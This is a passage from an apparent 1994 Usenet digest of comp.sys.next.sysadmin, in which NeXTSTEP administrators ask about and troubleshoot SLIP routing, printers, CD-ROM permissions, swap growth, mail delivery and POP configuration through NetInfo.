>Guest Part II (okay, so there probably will, I'll just have to go to the
>office, a better thought would be that this really will drive me insane).
>Email me, fax me, send me smoke signals, try esp.......
>Graeme Devine
>Trilobyte, Inc.
Thanks for all the help. Things are going great now. The solution was to
use the arp command on the SLIP server with the following command line:
arp -s 198.211.131.193 ether_address_of_194 pub
For those with similar problems...
Graeme Devine
Trilobyte, Inc.
From: chris@hi5.ikp.physik.th-darmstadt.de (Christoph M Zoeller)
Newsgroups: comp.sys.next.sysadmin
Subject: rec. for ext. tape backup for both black & white hardware sought
Date: 15 Apr 1994 13:03:07 GMT
Organization: Technische Hochschule Darmstadt
Distribution: world
Message-ID: <2om3ab$e56@rs18.hrz.th-darmstadt.de>
Keywords: tape, DAT, Exabyte, backup
Hi!
I need to buy an external SCSI tape system for use on both black and white
hardware. Both run NS 3.2, the PC has an Adaptec controller. As far as I
can see, there's only a 3.1 SCSITapeDriver at the next.com archive - does
it work under 3.2? Also, any know (in)compatibilities wrt the Adaptec
controller?
I have read the earlier post summarizing DAT drives. I am specifically
looking for experiences you have with the same drive on both machines
(NeXT and PC).
Thanks!
Chris
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: hanging printers
Date: 15 Apr 1994 08:23:53 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <940415142127.358AACUL.malc@jeeves>
Occasionally non-conforming PostScript etc hangs our NeXT printers.
Removing the offending job does not always mean that the remainder of the
queue is printed, however: even when other jobs are listed as being "active"
the printer just sits there.
Restarting the daemon etc with lpc has no effect, and our only reliable
solution is, unfortunately, and inelegantly, to reboot the machine.
Can anybody offer a more satisfactory solution? What is special about the way
rebooting starts lpd etc?
Have fun,
mmalcolm.
Newsgroups: comp.sys.next.sysadmin
From: schweber!mono (Matthias Weber)
Subject: Re: Alternativ NeXT Color Printer drivers?
Message-ID: <1994Apr15.090548.545@schweber.rhein-main.de>
Sender: mono@schweber.rhein-main.de
Organization: Schweber und ...
References: <1994Apr9.124305.614@rafa.in-berlin.de>
Date: Fri, 15 Apr 1994 09:05:48 GMT
In article <1994Apr9.124305.614@rafa.in-berlin.de> ralf@rafa.in-berlin.de
(Ralf Neumann) writes:
> Hi,
>
> I heard there are two other drivers for the NeXT Color Printer out
there.
> The one is from HSD the other from the man who wrote Dots (Frederico
Heinz).
> Does anybody knows where to get them and how much they are?
> Any further informations like email adresses, expiriences with NeXT
Color
> Printer drivers and also the quality relation between drivers and
Applications
> like Virtuoso, Tiffany... are very intersting too.
> If you know anything about this stuff send me an email.
I'm interested in these things too.
--
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phone +49 69 5971815 - fax +49 69 5974204
matthias weber mono@schweber.rhein-main.de - use NeXT-mail
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phone +49 69 5971815 - fax +49 69 5974204
From: ras@nextras.mko.dec.com (Bob Surtees)
Newsgroups: comp.sys.next.sysadmin
Subject: What is a Driver class
Date: 15 Apr 1994 14:43:04 GMT
Organization: Digital Equipment Corporation
Message-ID: <2om95o$e2u@nntpd.lkg.dec.com>
Executing the following commmand to try and track down how to get my NeXT
Printer to work again:
/usr/lib/NextPrinter/Server/prserver -p Local_Printer
produces:
Driver class not set in printer entry
How does one correct this? I am trying to recover from inadvertantly
deleting the /private direcory! The main remaining problem is getting the
printer to work. I can turn it on and print a page with the PrinterTester
program but it doesn't turn on at boot time and trying to modify
'Local_Printer' with the PrintManager produces an alert that telss me I
have an "Unrecognizeable print entry format."
Here is what is produced by executing 'nidump printcap .':
Local_Printer: \
:lp=/dev/null:ty=NeXT 400 dpi Laser Printer:lf=/usr/adm/lpd-errs:
\
:sd=/usr/spool/NeXT/Local_Printer: \
:if=/usr/lib/NextPrinter/Server/lpd.comm: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:vf=/usr/lib/NextPrinter/Server/psvf: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf:note=:
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: CD-ROM player problem - help is needed (desparately)
Date: 15 Apr 1994 14:29:41 -0400
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Message-ID: <2ommel$bij@math.mps.ohio-state.edu>
I have my APPLE CD-ROM 300 hooked up to my CUBE with NS 3.2. It works with
regular CD's BUT I have the following problem with MUSIC CD's: it only works
when I am logged in as root. Here are the permission bits of CDPlayer.app:
drwxr-xr-x 5 root 2048 Oct 21 22:16 CDPlayer.app/
drwxr-xr-x 2 root 1024 Oct 21 22:16 CDDrive.nib/
-rwsr-xr-x 1 root 57344 Aug 20 1993 CDPlayer*
drwxr-xr-x 2 root 1024 Oct 21 22:16 CDPlayer.nib/
drwxr-xr-x 2 root 1024 Aug 20 1993 English.lproj/
-r--r--r-- 1 root 4228 Mar 12 1992 cd_logo.tiff
-r--r--r-- 1 root 2328 Mar 12 1992 control_cfwd.tiff
etc.
When I insert is MUSIC CD when I am logged in as myself (not root)
then I get stuff like:
% Apr 15 14:18:13 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:13 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:13 ops mach: SCSI Block in error = 0 (no valid label)
Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:14 ops mach: SCSI Block in error = 4 (no valid label)
Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:14 ops mach: SCSI Block in error = 8 (no valid label)
Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:14 ops mach: SCSI Block in error = 12 (no valid label)
Apr 15 14:18:14 ops mach: DISK UNFORMATTED
Apr 15 14:18:14 ops mach: Disk is Write Protected
Apr 15 14:18:55 ops mach: audio kernel server unloaded
Apr 15 14:18:56 ops mach: audio kernel server initialized
AND THEN the disk gets ejected. What's going on? Can you help me? Please
respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: CD-ROM player problem - help is needed (desparately)
Date: 15 Apr 1994 14:26:05 -0400
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Message-ID: <2omm7t$bcp@math.mps.ohio-state.edu>
I have my APPLE CD-ROM 300 hooked up to my CUBE with NS 3.2. It works with
regular CD's BUT I have the following problem with MUSIC CD's: it only works
when I am logged in as root. Here are the permission bits of CDPlayer.app:
drwxr-xr-x 5 root 2048 Oct 21 22:16 CDPlayer.app/
drwxr-xr-x 2 root 1024 Oct 21 22:16 CDDrive.nib/
-rwsr-xr-x 1 root 57344 Aug 20 1993 CDPlayer*
drwxr-xr-x 2 root 1024 Oct 21 22:16 CDPlayer.nib/
drwxr-xr-x 2 root 1024 Aug 20 1993 English.lproj/
-r--r--r-- 1 root 4228 Mar 12 1992 cd_logo.tiff
-r--r--r-- 1 root 2328 Mar 12 1992 control_cfwd.tiff
etc.
When I insert is MUSIC CD when I am logged in as myself (not root)
then I get stuff like:
% Apr 15 14:18:13 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:13 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:13 ops mach: SCSI Block in error = 0 (no valid label)
Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:14 ops mach: SCSI Block in error = 4 (no valid label)
Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:14 ops mach: SCSI Block in error = 8 (no valid label)
Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
Apr 15 14:18:14 ops mach: SCSI Block in error = 12 (no valid label)
Apr 15 14:18:14 ops mach: DISK UNFORMATTED
Apr 15 14:18:14 ops mach: Disk is Write Protected
Apr 15 14:18:55 ops mach: audio kernel server unloaded
Apr 15 14:18:56 ops mach: audio kernel server initialized
AND THEN the disk gets ejected. What's going on? Can you help me? Please
respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: lars@vergil.ping.de (Lars-Ulrich Kahl)
Subject: test
Message-ID: <CoBMwG.Ft@vergil.ping.de>
Sender: lars@vergil.ping.de (Lars-Ulrich Kahl)
Organization: Private Site
Date: Fri, 15 Apr 1994 22:09:51 GMT
test
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* Lars-Ulrich Kahl Tel/FAX:02304/78430 lars@odin.swb.de *
* Am Elsebad 36 58239 Schwerte-Ergste NeXT-Mail please!*
From: me@vigor.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: Swap space growth-- one way trip?
Date: 16 Apr 1994 10:46:21 GMT
Organization: University of Pennsylvania
Distribution: world
Message-ID: <2ooflt$8r0@netnews.upenn.edu>
Hi,
I'm running a program under NSI 3.2 that creates an SQL table from
other SQL tables. The tables only take up 8Mb disk space in the
filesystem. But during the execution of the program the swapfiles grow
by 160Mb!! /private/vm/swapfile and /private/vm/swapfile.front each
grow from 20Mb to 50 Mb. Neither my program, nor the SQL server
at any time malloc more than .5Mb. Does anyone have a guess as to
what's going on?
Also, growth of the swap space seems to be a one-way trip. If I log out
and then log back ink, the acqured swap space is still there. Only when
I reboot the machine does the swap space get reclaimed.
Is there a description of the NS Virtual Memory system somewhere in
the documentation?
Any tips much appreciated.
Thanks.
Joe Panico
joe@retina.anatomy.upenn.edu
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: CD-ROM player problem - help is needed (desparately)
Date: 16 Apr 1994 10:17:48 +0100
Organization: me organised, that's a joke.
Message-ID: <2ooafs$42j@steffi.demon.co.uk>
References: <2omm7t$bcp@math.mps.ohio-state.edu>
pali+@osu.edu wrote in comp.sys.next.sysadmin,comp.sys.next.hardware
>I have my APPLE CD-ROM 300 hooked up to my CUBE with NS 3.2. It works with
>regular CD's BUT I have the following problem with MUSIC CD's: it only works
>when I am logged in as root. Here are the permission bits of CDPlayer.app:
>
>drwxr-xr-x 5 root 2048 Oct 21 22:16 CDPlayer.app/
>
>drwxr-xr-x 2 root 1024 Oct 21 22:16 CDDrive.nib/
>-rwsr-xr-x 1 root 57344 Aug 20 1993 CDPlayer*
>drwxr-xr-x 2 root 1024 Oct 21 22:16 CDPlayer.nib/
>drwxr-xr-x 2 root 1024 Aug 20 1993 English.lproj/
>-r--r--r-- 1 root 4228 Mar 12 1992 cd_logo.tiff
>-r--r--r-- 1 root 2328 Mar 12 1992 control_cfwd.tiff
>etc.
>
>When I insert is MUSIC CD when I am logged in as myself (not root)
>then I get stuff like:
>
>% Apr 15 14:18:13 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
>Apr 15 14:18:13 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
>Apr 15 14:18:13 ops mach: SCSI Block in error = 0 (no valid label)
>Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
>Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
>Apr 15 14:18:14 ops mach: SCSI Block in error = 4 (no valid label)
>Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
>Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
>Apr 15 14:18:14 ops mach: SCSI Block in error = 8 (no valid label)
>Apr 15 14:18:14 ops mach: sd4 (5,0): ERROR op:0x28 sd_state:4 scsi status:0x0
>Apr 15 14:18:14 ops mach: sd4 (5,0): sense key:0x5 additional sense code:0x64
>Apr 15 14:18:14 ops mach: SCSI Block in error = 12 (no valid label)
>Apr 15 14:18:14 ops mach: DISK UNFORMATTED
>Apr 15 14:18:14 ops mach: Disk is Write Protected
>Apr 15 14:18:55 ops mach: audio kernel server unloaded
>Apr 15 14:18:56 ops mach: audio kernel server initialized
>
>AND THEN the disk gets ejected. What's going on? Can you help me? Please
>respond by email. Thanks. Take care...Paul
>
>Paul Nevai nevai@math.ohio-state.edu
>Dept Math - Ohio State University 1-614-292-3317 (Office)
>Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
>
>
A number of things come to mind. Are you using Intel? If so I _don't
think_ CDPlayer works with Intel..
Also, you don't say exactly when you insert the disc... You should
only be inserting the disk when the Panel pops up after CDPlayer.app
is running. (This assumes you _are_ on Motorolla because I believe
CDPlayer.app only works on Motorolla)
--
"Kill files are for pacifists"
(ASCII for text only messages)
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat)
Newsgroups: comp.sys.next.sysadmin
Subject: rmail throws away my bitftp requests, help!
Date: 16 Apr 1994 11:16:03 -0500
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9404160742.AA00504@flexus>
LS,
I used to be able to send requests like
>>>>>
FTP prep.ai.mit.edu UUENCODE
USER anonymous
BINARY
CD /pub/gnu
GET bison-1.22.tar.gz
GET flex-2.3.8.tar.gz
QUIT
<<<<<
to BITFTP@PUCC.Princeton.edu, and it would send me a response that would show
up in my mailbox. However, my mail relay has changed its sendmail.cf, and now
such responses have a line
>>>>>
>From <@maze.UUCP,@cc1.kuleuven.ac.be:BITFTP2@PUCC.BITNET> Fri Apr 15 19:03:58
1994
<<<<<
that chokes /bin/rmail (I've done a lot of checking, and this is the one). Does
anybody understand this syntax? Who is the guilty party here, (only?) my mail
relay ``maze'', or (also?) NeXT's /bin/rmail? I am inclined to believe the
latter (even though I quite dislike this From: line): I don't think that I
should have to lie in ambush to pick my request out of /usr/spool/uucp/D.
before it is *completely* destroyed. The only trace of it is a reply to my mail
relay like
>>>>>
>From uucp Sat Apr 16 09:01:50 1994 remote from flexus
Received: by flexus (NX5.67d/NX3.0M.flexus.1994-03-17)
id AA00279; Sat, 16 Apr 94 09:01:50 +0200
Date: Sat, 16 Apr 94 09:01:50 +0200
From: <flexus!uucp>
Message-Id: <9404160701.AA00279@flexus>
To: maze!daemon
Subject: uuxqt cmd (rmail rfschtkt ) status (signal 13, exit 0)
<<<<<
Help?
Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium
(real, i.e., with triangle in the Deliver button) NeXTmail preferred
Addressing limitations: no !, % or .uucp (? I should test this again)
PS: NeXT sends ``To: jdoe@foo.bar.com'' messages to foo.bar.com!jdoe (instead
of jdoe%foo.bar.com, as would result from a To: maze!jdoe%foo.bar.com for a
simply Reply). My mail relay did not understand this before, and I changed
their sendmail.cf because I thought that NeXT would more closely follow
established practice (strange reasoning, but their sendmail.cf was rather old).
Now they changed their sendmail (the main problem in this message has occurred
since then), and the problem reoccurred so now I changed *my* sendmail.cf.
Should I enter this in KBNS.32.1 (Known Bugs in NextStep), with the workaround
that I used? Or is it the fault of my mail relay?
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: EATA timeouts yet again - SERIOUS BUG?
Message-ID: <1994Apr15.100149.17444@umiami.ir.miami.edu>
Date: 15 Apr 94 10:01:49 EDT
Organization: Univ of Miami IR
Colleagues,
With respect to the EATA timeouts on my IntelGX with a DPT 2022A controller -
As I have told you, this computer seemed to be working great without
EATA timeouts - as long as I used only the internal HD and no additional
SCSI devices.
Well, after 6-7 weeks, I finally got an EATA timeout. As before, it
happened first thing in the morning as I attempted to sign on the
computer. The workspace was very slow in coming up and never seemed to
finish doing everything necessary. I rebooted without apparent
filesystem damage.
I still find the circumstances which (on my machine) lead to such
timeouts to be strange - The timeouts always occur when I am logging
on and always when logging while physically at the server. I have
never seen these timeouts when logging on from another machine or during
any other disk activity on clients. (In spite of intensive disk activity
from use by 15 client machines - Intel and Motorola.)
So, there is nothing we can do apparently to prevent such disasterous
crashes of a server - I have tried everything as most of you have also.
Tom Herbert
University of Miami
NeXT - ARE YOU LISTENING? - WE HAVE AN NSF SPONSORED COURSE USING THESE
MACHINES - WE WOULD LIKE TO BUY MORE NEXTSTEP MACHINES AND MAKE THIS
THE DOMINANT MACHINE STUDENTS SEE - NOT EASY TO JUSTIFY THIS WHEN SERVERS
CANNOT MADE TO BE STABLE!
therbert@umiami.ir.miami.edu
(305) 284-6220
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From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Internet mail problems
Message-ID: <1994Apr16.110756.17460@umiami.ir.miami.edu>
Date: 16 Apr 94 11:07:56 EDT
Organization: Univ of Miami IR
I just got on ethernet - Everything works fine including telnet and sending
mail - I got the router address, netmask, and nameserver address right,
it seems. But, I have trouble receiving mail from our VAX/VMS system.
I can send from any machine in the NeXTstep network (16 machines) to others
in that net, either by using the short or long addresses - "tom" or
"tom@darwin.cox.miami.edu"
I can send properly from our Ultrix system to the NeXTstep machines.
I cannot either send or reply to mail arriving from darwin to our
VAX/VMS system. I get a message - SMTP failure.
All internet mail seems to work properly otherwise on both the VMS
and Ultrix systems.
At first, I noticed that my NeXTstep machine was sending an incorrect address
to other systems. But that was caused by my error in setting up the /etc/
resolv.conf file - that is now corrected and everything seems to be fine except
for incoming mail bouncing. Any ideas will be appreciated!
Tom Herbert
University of Miami
(Try me at tom@darwin.cox.miami.edu to see what happens, if you wish.
Otherwise reply to therbert@umiami.ir.miami.edu, the VMS system.)
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From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 16 Apr 1994 18:17:35 GMT
Organization: Massachusetts Institute of Technology
Message-ID: <2opa3v$3mr@senator-bedfellow.MIT.EDU>
References: <2odkhk$3gu@herald.indirect.com> <2odv8v$b76@netnews.upenn.edu> <2oflhd$555@nic-nac.CSU.net>
In article <2oflhd$555@nic-nac.CSU.net> eps@cs.sfsu.edu writes:
>In article <2odv8v$b76@netnews.upenn.edu>
> joe@retina.anatomy.upenn.edu writes:
>>Does anyone know if there is someone I can complain to?
>|Internet Direct, Inc. (INDIRECT-DOM)
>| 1366 E. Thomas Road, Suite 210
>| Phoenix, AZ 85014-5741
>Voice calls are probably more effective than e-mail.
I read in the MIT newspaper that the guy who wrote this article had his
account taken away by Internet Direct. I guess the guy received over 30,000
responses to his ad, most of them threats to his life! The person who
posted the article is a lawyer, and he is actually suing Internet Direct
for $250,000 because they took his account away and that is costing him
$250,000 in lost business that would have been generated from the ad.
Eric
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From: kci@teleport.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP and Routing?
Followup-To: comp.sys.next.sysadmin
Date: Sat, 16 Apr 1994 21:00:27 -0700
Organization: Kornreich Communications
Message-ID: <kci-160494210027@a02.ip.teleport.com>
I just set up a NS_FIP server at my office which I run Transys Slip on it
for a dedicated dialup IP connection. I also have some other boxes on my
local net, non-unix.. ie. mac's and pc's. I would like to be able to use
the NeXT as a Mailserver for these devices plus NNTP, and DNS and be able
to ftp and telnet from my pc and mac.... I installed popper on the NeXT
works fine. I can send and receive mail locally. My question is Do I need
to add a default route from en0 to the slip IP#.. ie...
IP# for NeXT is 199.2.192.1
IP# for PC is 199.2.192.2
IP# for mac is 199.2.192.3
IP# for sl0 is 199.2.100.11
Where can I optain good reading info on setting up DNS on a NeXT?
--
Kornreich Communications
Steven Kornreich
kci@teleport.com
From: mcgredo@crl.com (Donald R. McGregor)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Green Card Lottery- Final One?
Date: 16 Apr 1994 23:00:48 -0700
Organization: YoyoDyne Propulsion Systems
Message-ID: <2oqjag$p3f@crl.crl.com>
References: <2odv8v$b76@netnews.upenn.edu> <2oflhd$555@nic-nac.CSU.net> <2opa3v$3mr@senator-bedfellow.MIT.EDU>
In article <2opa3v$3mr@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes:
:>I read in the MIT newspaper that the guy who wrote this article had his
:>account taken away by Internet Direct. I guess the guy received over 30,000
:>responses to his ad, most of them threats to his life! The person who
:>posted the article is a lawyer, and he is actually suing Internet Direct
:>for $250,000 because they took his account away and that is costing him
:>$250,000 in lost business that would have been generated from the ad.
The newspaper account I saw quoted him as saying it was worth it;
for $30 he got access to make a drive-by posting to every
newsgroup in existence and inflicted his advertising on millions.
Things like this make me think USENET, inc, needs to keep
Chuck Norris on retainer.
It's also a little weird to see newspaper accounts of net-doings.
What next, supermarket checkout stand summaries of high-volume
newsgroups?
--
Don McGregor | "I told him not to join that stupid club."
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Newsgroups: comp.sys.next.sysadmin
From: mgb@moksha.uucp (Michael Branton)
Subject: how to configure more than 1 slip interface ?
Message-ID: <CoD1q4.2LD@moksha.uucp>
Sender: mgb@moksha.uucp (Michael Branton)
Organization: Totally Disorganized
Date: Sat, 16 Apr 1994 16:27:39 GMT
I've been running TransSys DialUp-IP between 2 NeXT systems for about a year
now with no problem. I recently tried to add a second slip interface on the
server. Everything looks good EXCEPT I can't get the routing on the second
interface to configure correctly. I have given seperate ip #'s to slip1 and
slip0 and associated them with seperate client ip addresses. On the server,
ifconfig seems to verify that this is set correctly:
# ifconfig -a
en0: flags=63<UP,BROADCAST,NOTRAILERS,RUNNING>
inet 147.253.70.53 netmask ffffff00 broadcast 147.253.70.255
lo0: flags=69<UP,LOOPBACK,NOTRAILERS,RUNNING>
inet 127.0.0.1 netmask ff000000
slip0: flags=11<UP,POINTOPOINT>
inet 147.253.72.10 --> 147.253.72.90 netmask ffffff00
slip1: flags=11<UP,POINTOPOINT>
inet 147.253.72.11 --> 147.253.72.91 netmask ffffff00
However, when I check the routing table, I see:
# netstat -r
Routing tables
Destination Gateway Flags Refs Use Interface
localhost localhost UH 2 408 lo0
147.253.72.90 147.253.72.10 UGH 2 7194 slip0
147.253.72.10 localhost UGH 0 0 lo0
147.253.72.91 147.253.72.11 UGH 0 0 slip0
*****
147.253.72.11 localhost UGH 0 0 lo0
default 147.253.70.254 UG 1 8701 en0
147.253.70 147.253.70.53 U 8 3413 en0
So why is slip0 being set as the interface for both .90 and .91 ?
I've rtfm'ed quite a few times, but I can't seem to get this one right. Any
help would be mucho appreciado....
---
-Michael
mgb@thoth.stetson.edu
moksha!mgb@bliss.stetson.edu
NeXT mail welcome !
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-Michael
From: ian@mindvox.phantom.com (Ian Bainbridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Tin for NS 3.2
Date: Sun, 17 Apr 94 03:25:21 EDT
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Distribution: world
Message-ID: <y51wkc1w165w@mindvox.phantom.com>
Originator: ian@mindvox
Could someone please give me pointers towards the latest release of the
Tin source code, modified to compile on black and white hardware, running
ns 3.2. The stock distribution doesn't seem to compile properly, location
of binaries would be nice too, but mostly have interest in learning what
needs to be changed, and preferrably where modified source can be found.
Thanks very much for your attention.
ian #################
@ #Ian Bainbridge #
mindvox. # ###############################################
phantom. # I am not responsible for my opinons, I don't know or care! #
com ###############################################################
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: No lookupd pwent caching and lastcomm
Date: 16 Apr 1994 08:45:54 -0400
Organization: Southgate Internet Host
Message-ID: <2oomm2$4q9@sgate.com>
A few months? ago, I posted a query to see if anyone else knew why lastcomm
was returning (null pointer) for the userid, for process accounting.
Obviously, (null pointer) made accounting pretty much useless.
I've finally figured out why it's happening.
If you have lookupd run with -m 0, it won't do any pwent caching. This is
(was?) sometimes necessary to have a stable system. Well, lastcomm seems to
really really want lookupd to have the pwent entries cached...
Now, if only I could figure out what's causing our Cube to seize up until you
reboot it...
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
From: mykek@lsg.com (Myke Kretzer)
Newsgroups: comp.sys.next.sysadmin
Subject: Bootpd Problems
Date: 17 Apr 1994 07:37:22 GMT
Organization: The LAN Support Group, Inc.
Distribution: world
Message-ID: <2oqovi$2dq@news>
I have a Next slab running NextStep 3.1 which I use as an Internet gateway for
our network. I would like to run bootpd on the Next so all our machines could
get their addresses via bootp. When I tried setting up a bootptab for our
network, it didn't work (when I tried the same bootptab on another Unix
machine, it worked just fine). Can someone post a sample bootptab?
If it matters, most of our client machine use Trumpet Winsock under Windows.
Newsgroups: comp.sys.next.sysadmin
From: smh@netserv.com (Scott M. Hinnrichs)
Subject: pop on 110/tcp
Message-ID: <smh-170494034702@smh-ppc.netserv.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@netsys.com
Organization: NetServices
Date: Sun, 17 Apr 1994 10:58:03 GMT
Ok, I give up. I installed popper on my NS3.2 machine and port 110 refuses
to
answer. It answers fine on port 109. I configured it correctly in
/etc/services and in /etc/inetd.conf. I checked and nothing else defined
use
of port 110 in /etc/services, but I get a connection refused error when
doing
it as a telnet localhost 110, telnet localhost 109 works fine.
I have done this a dozen times, but this is the first time on a NeXT. Is
there
something built in the OS that uses port 110?
Here are the config snippets to satisfy the skeptical :)
/etc/services
pop2 109/tcp postoffice
pop 110/tcp postoffice
/etc/inetd.conf
pop stream tcp nowait root /usr/etc/popper popper
pop2 stream tcp nowait root /usr/etc/popper popper
Sample session:
netserv.com:91# telnet localhost 109
Trying 127.0.0.1... Connected to localhost.
Escape character is '^]'.
+OK UCB Pop server (version 1.831beta) at netserv.com starting.
quit
+OK Pop server at netserv.com signing off.
Connection closed by foreign host.
netserv.com:93# telnet localhost 110
Trying 127.0.0.1... Connection refused
I also ran popper -d and the tracefile doesn't even register the connection
when I go to port 110.
Any ideas?
Thanks, Scott
Newsgroups: comp.sys.next.sysadmin
From: smh@netserv.com (Scott M. Hinnrichs)
Subject: Re: pop on 110/tcp
Message-ID: <smh-170494050010@smh-ppc.netserv.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@netsys.com
Organization: NetServices
References: <smh-170494034702@smh-ppc.netserv.com>
Date: Sun, 17 Apr 1994 11:57:40 GMT
My short-term solution is to edit the Eudora 1.4.2 str# resource 6820 from
110 to 109. This is working, but I would like to know why port 110 isn't
answering...
Thanks, Scott
Newsgroups: comp.sys.next.sysadmin
From: smh@netserv.com (Scott M. Hinnrichs)
Subject: Re: pop on 110/tcp
Message-ID: <smh-170494140720@smh-ppc.netserv.com>
Followup-To: comp.sys.next.sysadmin
Sender: news@netsys.com
Organization: NetServices
References: <smh-170494034702@smh-ppc.netserv.com>
Date: Sun, 17 Apr 1994 21:07:53 GMT
> Ok, I give up. I installed popper on my NS3.2 machine and port 110 refuses
> to
> answer. It answers fine on port 109. I configured it correctly in
> /etc/services and in /etc/inetd.conf. I checked and nothing else defined
> use
> of port 110 in /etc/services, but I get a connection refused error when
> doing
> it as a telnet localhost 110, telnet localhost 109 works fine.
>
Yikes, another NetInfo file! Thanks to all that sent me the correct
answer!
Here it is:
nidump services / > /tmp/services
edit /tmp/services (to add 110)
niload services / < /tmp/services
(you also have to kill -1 $pid of inetd)
Looks like I better browse through the NetInfo database with
NetInfoManager.app
to see what else is managed.
Thanks again, Scott
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: pop on 110/tcp
Date: 17 Apr 1994 22:14:03 GMT
Organization: University of Illinois at Urbana
Message-ID: <2oscbb$fun@vixen.cso.uiuc.edu>
References: <smh-170494034702@smh-ppc.netserv.com> <smh-170494140720@smh-ppc.netserv.com>
smh@netserv.com (Scott M. Hinnrichs) writes:
>Yikes, another NetInfo file! Thanks to all that sent me the correct
>answer!
>Looks like I better browse through the NetInfo database with
>NetInfoManager.app
>to see what else is managed.
I suggest that you look at netinfo(5). It pretty much tells you
everything that is managed through NetInfo.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: trestrai@news.delphi.com (TRESTRAIL@DELPHI.COM)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: The -u parametre to the disk command - what does it mean???
Date: 18 Apr 1994 00:11:43 -0000
Organization: Delphi Internet Services Corporation
Message-ID: <2osj7v$3ng@news.delphi.com>
References: <2o4aj3$2ef@machthenext.dannug.dk>
Keywords: disk utility, formatting large drives
work@dannug.dk (Michael Hallin) writes:
>The disk command has a parametre, -u, which supposedly should tell the
>drive it s being used on to use all the sector on the drive, not just the
>bios-accessible ones.
>Does anymore know exactly what this means??? Does it e.g. mean that by
>using that parametre it s possible to format larger partitions than
